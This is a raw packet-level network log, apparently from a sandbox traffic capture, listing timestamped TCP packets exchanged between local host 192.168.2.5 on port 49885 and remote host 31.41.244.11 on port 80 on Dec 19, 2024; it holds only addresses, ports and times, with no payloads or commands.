Dec 19, 2024 03:09:32.818944931 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.819771051 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.819824934 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.819853067 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.819901943 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.820743084 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.820796013 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.820843935 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.820894957 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.821763039 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.821820974 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.821928978 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.821984053 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.822858095 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.822921991 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.822962999 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.823020935 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.823991060 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.824106932 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.824115038 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.824337006 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.824949026 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.825051069 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.825107098 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.825738907 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.825867891 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.825937033 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.826739073 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.826807976 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.826858997 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.826908112 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.827744961 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.827800989 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.827861071 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.827924013 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.828737974 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.828808069 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.828852892 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.828906059 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.829731941 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.829827070 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.829868078 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.830056906 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.830750942 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.830892086 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.830946922 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.831896067 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.832048893 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.832099915 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.832758904 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.832811117 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.832858086 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.832906961 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.833750010 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.833811998 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.833858967 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.833910942 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.834847927 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.834902048 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.834970951 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.835050106 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.835805893 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.835863113 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.835903883 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.835961103 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.836827993 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.836945057 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.837012053 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.837934017 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.837994099 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.838032961 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.838087082 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.839123964 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.839183092 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.839242935 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.839293957 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.840055943 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.840116978 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.840120077 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.840171099 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.840909004 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.840966940 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.841032982 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.841090918 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.841999054 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.842050076 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.842143059 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.842192888 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.843159914 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.843326092 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.843375921 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.844341040 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.844515085 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.844573021 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.845592022 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.845674038 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.845691919 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.845861912 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.846672058 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.846729040 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.846780062 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.846833944 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.986300945 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.986376047 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.986474037 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.986531973 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.986857891 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.986911058 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.986999035 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.987054110 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.987797022 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.987848043 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.987938881 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.987988949 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.988756895 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.988806963 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.988873005 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.988920927 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.989763975 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.989892960 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.989945889 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.990762949 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.990839958 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.990883112 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.990930080 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.991754055 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.991801977 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.991878986 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.991925955 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.992778063 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.992830992 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.992871046 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.992919922 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.993756056 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.993880987 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.993932009 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.994832039 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.994894981 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.994924068 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.994976044 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.995793104 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.995912075 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.995930910 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.996009111 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.996766090 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.996826887 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.996877909 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.996929884 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.997776031 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.997903109 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.997953892 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.998790026 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.998847008 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.998888016 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.998938084 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.999767065 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.999815941 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.999883890 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.999947071 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.000778913 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.000849962 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.000876904 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.000927925 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.001780033 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.001878977 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.001929998 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.002743006 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.002791882 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.002840042 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.002886057 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.003801107 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.003849030 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.003911018 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.003957987 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.004729033 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.004879951 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.004934072 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.005791903 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.005908012 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.005968094 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.006931067 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.006982088 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.007009983 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.007059097 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.007746935 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.007807016 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.007837057 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.007884979 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.008733988 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.008788109 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.008862019 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.008908033 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.009752989 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.009876013 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.009931087 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.010730982 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.010797024 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.010844946 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.010915995 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.011743069 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.011796951 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.011843920 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.011905909 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.012790918 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.012840986 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.012960911 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.013017893 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.014113903 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.014267921 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.014323950 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.015294075 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.015351057 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.015398979 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.015475035 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.016366959 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.016428947 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.016511917 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.016674042 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.017297029 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.017369986 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.017463923 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.017520905 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.018038034 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.018115997 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.018168926 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.019002914 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.019054890 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.019056082 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.019121885 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.019768000 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.019829988 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.019891024 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.019942999 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.020832062 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.020888090 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.020929098 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.020978928 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.021994114 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.022118092 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.022136927 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.022166967 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.023180008 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.023236990 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.023272991 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.023329020 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.024311066 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.024359941 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.024449110 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.024503946 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.025470972 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.025533915 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.025644064 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.025705099 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.026742935 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.026803970 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.027331114 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.027389050 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.027931929 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.027976990 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.028007984 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.028057098 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.028527021 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.028580904 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.028618097 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.028675079 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.029272079 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.029328108 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.029351950 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.029408932 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.030082941 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.030222893 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.030280113 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.031136036 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.031229973 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.031239033 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.031301022 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.031785965 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.031852007 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.031858921 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.031905890 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.032721996 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.032834053 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.032877922 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.032931089 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.033708096 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.033771038 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.033849001 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.033898115 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.034704924 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.034765959 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.034861088 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.034943104 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.035793066 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.035917044 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.035947084 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.035988092 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.036712885 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.036770105 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.036818981 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.036880970 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.037746906 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.037805080 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.037834883 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.038007975 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.038666964 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.038721085 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.178509951 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.178577900 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.178628922 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.178682089 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.179001093 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.179056883 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.179209948 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.179260015 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.179447889 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.179625034 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.180483103 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.180538893 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.180614948 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.180757999 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.181735039 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.181902885 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.181914091 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.181951046 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.182905912 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.182955980 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.183016062 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.183065891 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.184124947 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.184246063 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.184293985 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.185482979 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.185534000 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.185585022 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.185635090 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.186706066 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.186758041 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.186841965 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.186891079 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.188004971 CET	80	49885	31.41.244.11	192.168.2.5
